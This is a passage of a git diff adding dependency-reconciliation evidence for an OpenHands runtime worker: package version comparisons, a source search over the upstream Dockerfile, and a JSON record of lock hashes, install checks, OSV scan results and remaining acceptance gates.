"reconciled": "6.7.7", + "main_change": "unchanged" + }, + { + "name": "prompt-toolkit", + "reviewed_main": "3.0.52", + "candidate_input": "3.0.52", + "reconciled": "3.0.52", + "main_change": "unchanged" + }, + { + "name": "propcache", + "reviewed_main": "0.4.1", + "candidate_input": "0.4.1", + "reconciled": "0.4.1", + "main_change": "unchanged" + }, + { + "name": "proto-plus", + "reviewed_main": "1.26.1", + "candidate_input": "1.26.1", + "reconciled": "1.26.1", + "main_change": "unchanged" + }, + { + "name": "protobuf", + "reviewed_main": "6.33.5", + "candidate_input": "6.33.5", + "reconciled": "6.33.5", + "main_change": "unchanged" + }, + { + "name": "psutil", + "reviewed_main": "7.2.2", + "candidate_input": "7.2.2", + "reconciled": "7.2.2", + "main_change": "unchanged" + }, + { + "name": "py-key-value-aio", + "reviewed_main": "0.4.4", + "candidate_input": "0.4.4", + "reconciled": "0.4.4", + "main_change": "unchanged" + }, + { + "name": "pyasn1", + "reviewed_main": "0.6.4", + "candidate_input": "0.6.4", + "reconciled": "0.6.4", + "main_change": "unchanged" + }, + { + "name": "pyasn1-modules", + "reviewed_main": "0.4.2", + "candidate_input": "0.4.2", + "reconciled": "0.4.2", + "main_change": "unchanged" + }, + { + "name": "pycparser", + "reviewed_main": "2.23", + "candidate_input": "2.23", + "reconciled": "2.23", + "main_change": "unchanged" + }, + { + "name": "pydantic", + "reviewed_main": "2.12.5", + "candidate_input": "2.12.5", + "reconciled": "2.12.5", + "main_change": "unchanged" + }, + { + "name": "pydantic-core", + "reviewed_main": "2.41.5", + "candidate_input": "2.41.5", + "reconciled": "2.41.5", + "main_change": "unchanged" + }, + { + "name": "pydantic-settings", + "reviewed_main": "2.11.0", + "candidate_input": "2.11.0", + "reconciled": "2.11.0", + "main_change": "unchanged" + }, + { + "name": "pygments", + "reviewed_main": "2.20.0", + "candidate_input": "2.20.0", + "reconciled": "2.20.0", + "main_change": "unchanged" + }, + { + "name": "pyjwt", + "reviewed_main": "2.14.0", + "candidate_input": "2.14.0", + "reconciled": "2.14.0", + "main_change": "unchanged" + }, + { + "name": "pyotp", + "reviewed_main": "2.9.0", + "candidate_input": "2.9.0", + "reconciled": "2.9.0", + "main_change": "unchanged" + }, + { + "name": "pyparsing", + "reviewed_main": "3.2.5", + "candidate_input": "3.2.5", + "reconciled": "3.2.5", + "main_change": "unchanged" + }, + { + "name": "pypdf", + "reviewed_main": "6.19.0", + "candidate_input": "6.16.1", + "reconciled": "6.19.0", + "main_change": "unchanged" + }, + { + "name": "pyperclip", + "reviewed_main": "1.11.0", + "candidate_input": "1.11.0", + "reconciled": "1.11.0", + "main_change": "unchanged" + }, + { + "name": "python-dateutil", + "reviewed_main": "2.9.0.post0", + "candidate_input": "2.9.0.post0", + "reconciled": "2.9.0.post0", + "main_change": "unchanged" + }, + { + "name": "python-docx", + "reviewed_main": "1.2.0", + "candidate_input": "1.2.0", + "reconciled": "1.2.0", + "main_change": "unchanged" + }, + { + "name": "python-dotenv", + "reviewed_main": "1.2.2", + "candidate_input": "1.2.2", + "reconciled": "1.2.2", + "main_change": "unchanged" + }, + { + "name": "python-frontmatter", + "reviewed_main": "1.1.0", + "candidate_input": "1.1.0", + "reconciled": "1.1.0", + "main_change": "unchanged" + }, + { + "name": "python-json-logger", + "reviewed_main": "4.0.0", + "candidate_input": "4.0.0", + "reconciled": "4.0.0", + "main_change": "unchanged" + }, + { + "name": "python-multipart", + "reviewed_main": "0.0.31", + "candidate_input": "0.0.31", + "reconciled": "0.0.31", + "main_change": "unchanged" + }, + { + "name": "pyyaml", + "reviewed_main": "6.0.2", + "candidate_input": "6.0.2", + "reconciled": "6.0.2", + "main_change": "unchanged" + }, + { + "name": "redis", + "reviewed_main": "7.2.1", + "candidate_input": "7.2.1", + "reconciled": "7.2.1", + "main_change": "unchanged" + }, + { + "name": "referencing", + "reviewed_main": "0.36.2", + "candidate_input": "0.36.2", + "reconciled": "0.36.2", + "main_change": "unchanged" + }, + { + "name": "regex", + "reviewed_main": "2025.9.18", + "candidate_input": "2025.9.18", + "reconciled": "2025.9.18", + "main_change": "unchanged" + }, + { + "name": "reportlab", + "reviewed_main": "4.4.4", + "candidate_input": "4.4.4", + "reconciled": "4.4.4", + "main_change": "unchanged" + }, + { + "name": "requests", + "reviewed_main": "2.33.0", + "candidate_input": "2.33.0", + "reconciled": "2.33.0", + "main_change": "unchanged" + }, + { + "name": "requests-oauthlib", + "reviewed_main": "2.0.0", + "candidate_input": "2.0.0", + "reconciled": "2.0.0", + "main_change": "unchanged" + }, + { + "name": "rich", + "reviewed_main": "14.3.3", + "candidate_input": "14.3.3", + "reconciled": "14.3.3", + "main_change": "unchanged" + }, + { + "name": "rich-rst", + "reviewed_main": "1.3.2", + "candidate_input": "1.3.2", + "reconciled": "1.3.2", + "main_change": "unchanged" + }, + { + "name": "rpds-py", + "reviewed_main": "0.27.1", + "candidate_input": "0.27.1", + "reconciled": "0.27.1", + "main_change": "unchanged" + }, + { + "name": "screeninfo", + "reviewed_main": "0.8.1", + "candidate_input": "0.8.1", + "reconciled": "0.8.1", + "main_change": "unchanged" + }, + { + "name": "secretstorage", + "reviewed_main": "3.5.0", + "candidate_input": "3.5.0", + "reconciled": "3.5.0", + "main_change": "unchanged" + }, + { + "name": "six", + "reviewed_main": "1.17.0", + "candidate_input": "1.17.0", + "reconciled": "1.17.0", + "main_change": "unchanged" + }, + { + "name": "sniffio", + "reviewed_main": "1.3.1", + "candidate_input": "1.3.1", + "reconciled": "1.3.1", + "main_change": "unchanged" + }, + { + "name": "socksio", + "reviewed_main": "1.0.0", + "candidate_input": "1.0.0", + "reconciled": "1.0.0", + "main_change": "unchanged" + }, + { + "name": "sortedcontainers", + "reviewed_main": "2.4.0", + "candidate_input": "2.4.0", + "reconciled": "2.4.0", + "main_change": "unchanged" + }, + { + "name": "soupsieve", + "reviewed_main": "2.9.2", + "candidate_input": "2.9", + "reconciled": "2.9.2", + "main_change": "unchanged" + }, + { + "name": "sse-starlette", + "reviewed_main": "3.0.2", + "candidate_input": "3.0.2", + "reconciled": "3.0.2", + "main_change": "unchanged" + }, + { + "name": "starlette", + "reviewed_main": "1.3.1", + "candidate_input": "1.3.1", + "reconciled": "1.3.1", + "main_change": "unchanged" + }, + { + "name": "tenacity", + "reviewed_main": "9.1.2", + "candidate_input": "9.1.2", + "reconciled": "9.1.2", + "main_change": "unchanged" + }, + { + "name": "tiktoken", + "reviewed_main": "0.12.0", + "candidate_input": "0.12.0", + "reconciled": "0.12.0", + "main_change": "unchanged" + }, + { + "name": "tokenizers", + "reviewed_main": "0.23.1", + "candidate_input": "0.23.1", + "reconciled": "0.23.1", + "main_change": "unchanged" + }, + { + "name": "tom-swe", + "reviewed_main": "1.0.3", + "candidate_input": "1.0.3", + "reconciled": "1.0.3", + "main_change": "unchanged" + }, + { + "name": "tqdm", + "reviewed_main": "4.67.1", + "candidate_input": "4.67.1", + "reconciled": "4.67.1", + "main_change": "unchanged" + }, + { + "name": "tree-sitter", + "reviewed_main": "0.25.2", + "candidate_input": "0.25.2", + "reconciled": "0.25.2", + "main_change": "unchanged" + }, + { + "name": "tree-sitter-bash", + "reviewed_main": "0.25.1", + "candidate_input": "0.25.1", + "reconciled": "0.25.1", + "main_change": "unchanged" + }, + { + "name": "typing-extensions", + "reviewed_main": "4.15.0", + "candidate_input": "4.15.0", + "reconciled": "4.15.0", + "main_change": "unchanged" + }, + { + "name": "typing-inspection", + "reviewed_main": "0.4.2", + "candidate_input": "0.4.2", + "reconciled": "0.4.2", + "main_change": "unchanged" + }, + { + "name": "uncalled-for", + "reviewed_main": "0.2.0", + "candidate_input": "0.2.0", + "reconciled": "0.2.0", + "main_change": "unchanged" + }, + { + "name": "uritemplate", + "reviewed_main": "4.2.0", + "candidate_input": "4.2.0", + "reconciled": "4.2.0", + "main_change": "unchanged" + }, + { + "name": "urllib3", + "reviewed_main": "2.7.0", + "candidate_input": "2.7.0", + "reconciled": "2.7.0", + "main_change": "unchanged" + }, + { + "name": "uuid7", + "reviewed_main": "0.1.0", + "candidate_input": "0.1.0", + "reconciled": "0.1.0", + "main_change": "unchanged" + }, + { + "name": "uvicorn", + "reviewed_main": "0.52.4", + "candidate_input": "0.52.4", + "reconciled": "0.52.4", + "main_change": "unchanged" + }, + { + "name": "watchfiles", + "reviewed_main": "1.1.1", + "candidate_input": "1.1.1", + "reconciled": "1.1.1", + "main_change": "unchanged" + }, + { + "name": "wcwidth", + "reviewed_main": "0.2.14", + "candidate_input": "0.2.14", + "reconciled": "0.2.14", + "main_change": "unchanged" + }, + { + "name": "websockets", + "reviewed_main": "15.0.1", + "candidate_input": "15.0.1", + "reconciled": "15.0.1", + "main_change": "unchanged" + }, + { + "name": "wrapt", + "reviewed_main": "1.17.3", + "candidate_input": "1.17.3", + "reconciled": "1.17.3", + "main_change": "unchanged" + }, + { + "name": "yarl", + "reviewed_main": "1.22.0", + "candidate_input": "1.22.0", + "reconciled": "1.22.0", + "main_change": "unchanged" + }, + { + "name": "zipp", + "reviewed_main": "3.23.0", + "candidate_input": "3.23.0", + "reconciled": "3.23.0", + "main_change": "unchanged" + } + ], + "main_selected_additions": [], + "main_selected_removals": [], + "main_selected_downgrades": [], + "installed_version_mismatches": [], + "source_required_downgrades": [], + "fresh_extraction_checks": [ + { + "extraction": "source", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "extraction": "source-repro", + "original_regular_files_compared": 1800, + "mismatches": [] + } + ], + "native_compile_reproduction_byte_identical": true, + "reproduced_lock_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106" +} + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-tagged-install-policy.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-tagged-install-policy.txt new file mode 100644 index 000000000..25c966732 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-tagged-install-policy.txt @@ -0,0 +1,23 @@ +$ ["rtk", "rg", "-n", "FROM python:3.13.15|COPY --from=python-runtime|BASE_IMAGE|FROM.*base-image|exclude-newer|litellm =|lmnr =", "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile", "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml"] +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:7:exclude-newer = "7 days" # Avoid packages uploaded in the last 7 days. +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml:8:exclude-newer-package = { litellm = "2026-07-20T00:00:00Z", lmnr = "2026-08-23T00:00:00Z" } # lmnr: allow 0.7.60 streaming-token fix through the 7-day guardrail +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:6:ARG BASE_IMAGE=python-node-runtime +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:39:FROM python:3.13.15-slim-trixie AS python-runtime +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:45:COPY --from=python-runtime /usr/local /usr/local +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:163:# Built from a fixed base rather than ${BASE_IMAGE} so that COPY --from=acp-providers +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:165:# regardless of which BASE_IMAGE it lands on. This is what lets the ~600MB provider +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:169:# Failures here are fatal: there is no per-BASE_IMAGE fallback for a broken build of +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:184:# BASE_IMAGE parents when the destination itself doesn't already exist in the +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:243:FROM ${BASE_IMAGE} AS base-image-minimal +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:309:# built once in the acp-providers stage above, independent of BASE_IMAGE, and +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:311:# on. Only the compatibility probe below runs against the real BASE_IMAGE. +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:324:# BASE_IMAGE", not "the ACP install failed". When that happens we remove the +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:358:FROM base-image-minimal AS base-image +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:568:FROM base-image AS source +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:573:FROM base-image-minimal AS source-minimal +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:583:FROM base-image AS binary +/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile:592:FROM base-image-minimal AS binary-minimal + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930.json b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930.json new file mode 100644 index 000000000..c4ece536b --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930.json @@ -0,0 +1,586 @@ +{ + "schema_version": 1, + "record": "openhands-1.50.0-reviewed-main-lock-reconciliation-2026-09-30", + "observed_utc": "2026-09-30T09:10:11Z", + "evidence_class": "local_integration", + "status": "reconciliation_checks_passed; runtime_candidate_not_accepted", + "scope": "Recipe wheel closure and bounded static caller review: Linux x86_64, CPython 3.13.15 only.", + "review_dispatch": { + "role": "Astra/max", + "trigger": "Consequential dependency/security boundary; one bounded Sol wheel-lock repair did not converge with reviewed main. Its candidate-before baseline did not establish that dependency downgrades were necessary.", + "acceptance_result": "The assigned lock reconciliation and scoped checks pass. The independent image, observer, isolation and task-quality gates remain open; coordinator owns the exact-lock CI guard and integration." + }, + "evidence_classes_by_claim": { + "resolution_reproduction_hash_install_pip_check_imports_osv": "native: actual supported executable output, retained with exit codes", + "all_selected_versions_and_source_bytes": "local integration: Packaging marker API comparison and direct original-byte checks", + "installer_target_and_oauth_callers": "source: pinned source and bounded static scans, not runtime reachability proof", + "twelve_sdk_checks": "fixture: local tests using actual installed SDK objects and patched model calls", + "1208_upstream_tests_and_image_scan": "historical: retained original evidence, not rerun for this reconciliation" + }, + "baselines": [ + { + "role": "reviewed_main", + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": "f03f41c7", + "sha256": "14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64" + }, + { + "role": "candidate_input", + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": "bb3d00dc1ed493726481d0d3d746f6b0b46ed8bd", + "sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676" + }, + { + "role": "reconciled", + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": "working_tree", + "sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106" + } + ], + "baseline_correction": { + "earlier_candidate_before_sha256": "7dba097d34f83cab8585e49050505d5f836b8f8505ceedb7daff160af5e3ad16", + "historical_receipt": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930.json", + "correction": "That historical before hash is an earlier 1.50 candidate input, not reviewed main. This check separately binds main f03f41c7 (14e57b8d...) and the bb3d00dc candidate (8d257833...). Click 8.3.3, pypdf 6.16.1 and Soup Sieve 2.9 were unnecessary candidate downgrades from main and are corrected without changing the historical receipt.", + "verification": "The fresh native constrained compile succeeds and all 176 Linux-selected requirements are compared using the actual CPython 3.13.15 marker environment." + }, + "resolution": { + "upstream_repository": "https://github.com/OpenHands/software-agent-sdk", + "upstream_commit": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "version": "1.50.0", + "source_archive": { + "url": "https://codeload.github.com/OpenHands/software-agent-sdk/tar.gz/dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "sha256": "643e171b9de5b55f948cf22ea698af4b0b05d2cb3e27867960ae9a0e47a9819c" + }, + "upstream_lock": { + "url": "https://raw.githubusercontent.com/OpenHands/software-agent-sdk/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/uv.lock", + "sha256": "9ee1944f08b39760cbf502b546ec420fad84ed65caed5eb08fc9cceb68074801" + }, + "native_tool": "uv 0.12.17", + "target": { + "implementation_name": "cpython", + "implementation_version": "3.13.15", + "os_name": "posix", + "platform_machine": "x86_64", + "platform_python_implementation": "CPython", + "platform_system": "Linux", + "python_full_version": "3.13.15", + "python_version": "3.13", + "sys_platform": "linux" + }, + "upstream_policy": { + "exclude_newer": "7 days", + "litellm": "2026-07-20T00:00:00Z", + "lmnr": "2026-08-23T00:00:00Z" + }, + "constraints": "All reviewed-main requirement declarations except the two SDK/tools wheel inputs, with original markers; uv resolves the published 1.50.0 wheel inputs under these version constraints.", + "selected_requirements": 176, + "unchanged_selected_versions_from_main": 174, + "changes_from_main": [ + { + "name": "openhands-sdk", + "before": "1.49.6", + "after": "1.50.0" + }, + { + "name": "openhands-tools", + "before": "1.49.6", + "after": "1.50.0" + } + ], + "preserved_main_versions": [ + { + "name": "click", + "version": "8.5.0" + }, + { + "name": "pypdf", + "version": "6.19.0" + }, + { + "name": "soupsieve", + "version": "2.9.2" + } + ], + "selected_additions": [], + "selected_removals": [], + "selected_downgrades": [], + "source_required_downgrades": [], + "main_marker_excluded_requirements": 160, + "lock_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "fresh_source_extractions": [ + { + "extraction": "source", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "extraction": "source-repro", + "original_regular_files_compared": 1800, + "mismatches": [] + } + ], + "native_compile_reproduction_byte_identical": true, + "relative_cutoff_limit": "Both native compiles ran on the recorded date. Future replay of a relative seven-day cutoff is a new dated resolution; the recorded inputs, output hashes and current byte-identical result remain explicit." + }, + "downstream_install_trace": { + "claim_scope": "Source trace of supported entrypoints; no container execution in this repair.", + "image": { + "tag_observed": "1.50.0-python", + "ref": "ghcr.io/openhands/agent-server@sha256:6d91a74fd2b556107e4e15476680d1d8116eeadfc06879baf7193caa73314dfc", + "platform": "linux/amd64", + "manifest_sha256": "d322c0fa5bc0f95d36de0b1a3e9aeab1230e2daf44d66cc94e42aa4ad23129c7", + "config_sha256": "6b11dbc497b336e0bf02aeed538dc21d87e4eabe66cac21d1b289dadb86eb1ee", + "provenance": "GHCR returned manifest bytes SHA256; image config OPENHANDS_BUILD_GIT_SHA and OPENHANDS_BUILD_GIT_REF match the SDK tag." + }, + "steps": [ + { + "path": "blueprints/runtime-workers/openhands/install.sh", + "claim": "Invokes host.py install." + }, + { + "path": "blueprints/runtime-workers/openhands/host.py", + "lines": [ + 324, + 326, + 425, + 434, + 614, + 631, + 645, + 656, + 664, + 666 + ], + "claim": "Verifies runtime/build hashes and pinned image identity/platform; pulls and runs the installer with the pinned linux/amd64 image." + }, + { + "path": "blueprints/runtime-workers/openhands/install-container.sh", + "lines": [ + 7, + 8, + 11, + 15, + 18, + 19, + 20 + ], + "claim": "Disables Python downloads and ambient uv config, creates the venv with /usr/local/bin/python inside the image, installs the build/runtime hash locks, then checks dependencies." + }, + { + "url": "https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/openhands-agent-server/openhands/agent_server/docker/Dockerfile#L39", + "lines": [ + 6, + 39, + 45, + 243, + 358, + 583 + ], + "claim": "The default python-node runtime copies /usr/local from python:3.13.15-slim-trixie; the binary image inherits that runtime." + }, + { + "path": "blueprints/runtime-workers/openhands/install-grader.sh", + "lines": [ + 29, + 33, + 34, + 37 + ], + "claim": "The separate grader uses its upstream uv.lock; it shares the build-prerequisite lock, not this runtime requirements.lock." + } + ], + "macos_boundary": "These supported entrypoints contain no native macOS consumer of the Linux runtime lock. The runtime requirements are installed inside the pinned Linux amd64 container, independently of the host OS. Native macOS/Windows interpreters and other Python versions are not qualified.", + "installer_code_change_required": false, + "installer_regression_rerun": "Not needed: installer code and target pins are unchanged; the assigned source trace establishes the existing target boundary." + }, + "native_install": { + "owned_fresh_venv": true, + "target": "Linux x86_64 / CPython 3.13.15", + "hash_install_exit_code": 0, + "pip_check_exit_code": 0, + "import_exit_code": 0, + "installed_version_mismatches": [], + "fixture_command": "python -m unittest tests.test_openhands_150 -v", + "fixture_result": { + "exit_code": 0, + "tests": 12, + "failures": 0, + "skips": 0 + }, + "fixture_limit": "Actual installed SDK objects with patched model calls; no provider, server, isolation or task-quality acceptance." + }, + "published_artifact_source_identity": { + "artifacts_checked": 10, + "python_sources_compared": 586, + "mismatches": [], + "provenance": "Ten freshly downloaded official artifacts. Four unchanged metadata descriptors are explicitly reused from the prior source receipt; SDK/tools descriptors are unchanged pins; four exact-version metadata documents were fetched fresh. Artifact bytes and source comparisons are fresh in all ten cases.", + "method": "Unchanged published_artifact_source_identity command from wheel-relock-20260930-sources.json, rerun against the fresh owned environment and freshly verified artifacts." + }, + "osv": { + "version": "2.6.0", + "binary_url": "https://github.com/google/osv-scanner/releases/download/v2.6.0/osv-scanner_linux_amd64", + "binary_sha256": "ca69b3d3cd08f889a49dc0a383122f71cc528b83803671df5fd874d97485b108", + "pin_source": ".github/workflows/security-scan.yml", + "current_config": { + "path": ".github/osv-scanner.toml", + "sha256": "ddff1691844ce7c76d2d1860046074f46aac320f62f35278d508b948184849f8" + }, + "lock_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "recognized_packages_reported_by_scanner": 174, + "recognition_limit": "The lock contains 176 Linux-selected requirements, including two direct published-wheel URLs. Preserve the scanner-reported 174 count rather than treating this as proof it scanned all 176 package identities.", + "ci_config_exit_code": 0, + "ci_config_remaining_findings": [], + "empty_config_exit_code": 1, + "empty_config_findings": [ + { + "package": { + "name": "oauthlib", + "version": "3.3.1", + "ecosystem": "PyPI" + }, + "ids": [ + "GHSA-hj66-6f7g-4r5v", + "GHSA-xpv3-w29h-x7cv" + ] + } + ], + "exception_changes": "None: no new advisory ID, expiry or ignore was added. This source scan uses the existing current CI configuration; the coordinator owns rebinding its separate exact-lock guard." + }, + "oauthlib_exact_target_source_review": { + "target": "Linux x86_64 / CPython 3.13.15 only", + "lock_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106", + "maintained_jwt_script": { + "path": "blueprints/runtime-workers/openhands/evidence/relock-2026-09-30.jwt-callers.py.txt", + "sha256": "d4eb55d798102e5a6d64d4d629a3a994acfadff74daa971195b73592c2a77cff" + }, + "alias_supplement": { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-oauthlib-callers.py.txt", + "sha256": "080aa7cece92c786b7977ade5bf851aa776c31dbebafab98decfc5b1ae0e5960" + }, + "fresh_runs": "Both scripts are unchanged and were rerun against this exact fresh environment and recipe.", + "alias_scan_sources": 10684, + "recipe_sources": 12, + "unhandled_parse_errors": 0, + "reviewed_text_only_exception": { + "path": "func_timeout/py2_raise.py", + "sha256": "19d989963807de3847a00bbe90337fd9100a79cee4327683b601e4bc96225b77", + "scope": "Unchanged Python 2-only helper included in the text sweep; the Python 3 branch selects py3_raise. It is not parsed as Python 3." + }, + "observed_literal_importers": "Six requests_oauthlib files bind OAuthlib client classes, token errors and common helpers. The recipe scan reports no OAuthlib imports or advisory-related references. Authlib name matches refer to Authlib implementations, not OAuthlib imports.", + "reviewed_implementation": "OAuthlib oauth2 imports/re-exports server definitions, so loaded definitions are not evidence of authorization-server invocation. RevocationEndpoint defaults enable_jsonp=False; its preconfigured servers do not enable that option. The source windows retain the separate authorization-code/PKCE implementation.", + "limits": [ + "The unchanged JWT sweep matches selected literal imports and decode-style names, not every alias or possible runtime caller.", + "The supplement retains literal aliases and from-import bindings, but its bound-call detector visits ast.Call only: class bases and bare attributes are not reported as calls.", + "The supplementary text sweep covers selected advisory names; it is not an exhaustive semantic reachability proof.", + "Dynamic imports, runtime-assembled names and non-Python callers remain unknown. No OAuth server endpoint or provider was invoked to establish runtime reachability." + ], + "conclusion": "This fresh exact-target static evidence supports review of the two existing exceptions within the stated limits. It does not establish blanket runtime unreachability or qualify macOS." + }, + "sources": [ + "https://github.com/OpenHands/software-agent-sdk/blob/dcf401af7a9a302ef92cb7d092e1df9bb659daa5/pyproject.toml#L7", + "https://docs.astral.sh/uv/reference/cli/#uv-pip-compile", + "https://packaging.pypa.io/en/stable/requirements.html", + "https://packaging.pypa.io/en/stable/markers.html", + "https://google.github.io/osv-scanner/configuration/" + ], + "retained_historical_evidence": [ + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930.json", + "sha256": "f49dda8891c4367c47495f767fd1b6366c0659c7ad84d3a0a1b16c68f57c46cf" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-sources.json", + "sha256": "7829c29474ff23ec7b50c957b03be75fca10935e974749ac054eb58ef8f2aad8" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-commands.json", + "sha256": "aa794a4a612821be38d62cf97faeb4b07814c772535ac83c6b9eb3bf17a34917" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/upgrade-150-upstream-tests.txt", + "sha256": "99e1e2a7af20af37627b7d874533a61ed740bb03ec9a45f38b732f40554d7525" + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json", + "sha256": "a5e9a112706a8822ca23e0f82199b3cbc3164982db80c8720b087c98335285d1" + } + ], + "remaining_gates": [ + "The pinned image remains unaccepted with the historical 56 fixable High/Critical package/advisory matches; this recipe venv lock does not rebuild or repair its binary.", + "Independent trusted observation, native isolation/provider qualification and task-quality acceptance remain open.", + "Coordinator integration must register the new evidence/constraint fixture and bind the existing exact-target guard before final CI acceptance." + ], + "execution_boundary": { + "new_model_requests": 0, + "server_or_container_starts": 0, + "global_configuration_changes": 0, + "provider_usage": null, + "usage_note": "No new provider request was made; native provider token usage was not collected and remains unknown." + }, + "raw_output_policy": { + "sanitization": "Only owned private/worktree/home path prefixes are replaced with placeholders; stdout/stderr content and whitespace are otherwise retained. Commands record SHA256 of the original private streams and point to the sanitized returned output.", + "new_raw_outputs_with_trailing_whitespace": [ + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-oauthlib-alias-callers.txt", + "sha256": "7e5fd6fc81d63c595e3083e01da2b700a184fcec7f7f9db6619732b494dd5083", + "lines_with_trailing_whitespace": 76 + } + ], + "historical_raw_outputs": "Unchanged byte-for-byte; no earlier receipt, failed attempt or raw output was rewritten.", + "hash_format": "File hash inventories use arrays of path/sha256 records, not filename-keyed objects." + }, + "checks": [ + { + "id": "reviewed-main-blob", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-reviewed-main-blob.txt" + }, + { + "id": "fresh-venv", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-venv.txt" + }, + { + "id": "build-hash-install", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-build-hash-install.txt" + }, + { + "id": "native-compile", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-compile.txt" + }, + { + "id": "fresh-extraction-reproduction", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-extraction-reproduction.txt" + }, + { + "id": "runtime-hash-install", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-runtime-hash-install.txt" + }, + { + "id": "native-pip-check", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-pip-check.txt" + }, + { + "id": "native-imports", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-native-imports.txt" + }, + { + "id": "actual-sdk-fixtures", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-actual-sdk-fixtures.txt" + }, + { + "id": "maintained-jwt-callers", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-maintained-jwt-callers.txt" + }, + { + "id": "oauthlib-alias-callers", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-oauthlib-alias-callers.txt" + }, + { + "id": "published-artifact-source-identity", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-published-artifact-source-identity.txt" + }, + { + "id": "osv-version", + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-osv-version.txt" + }, + { + "id": "osv-ci-config", + "exit_code": 0, + 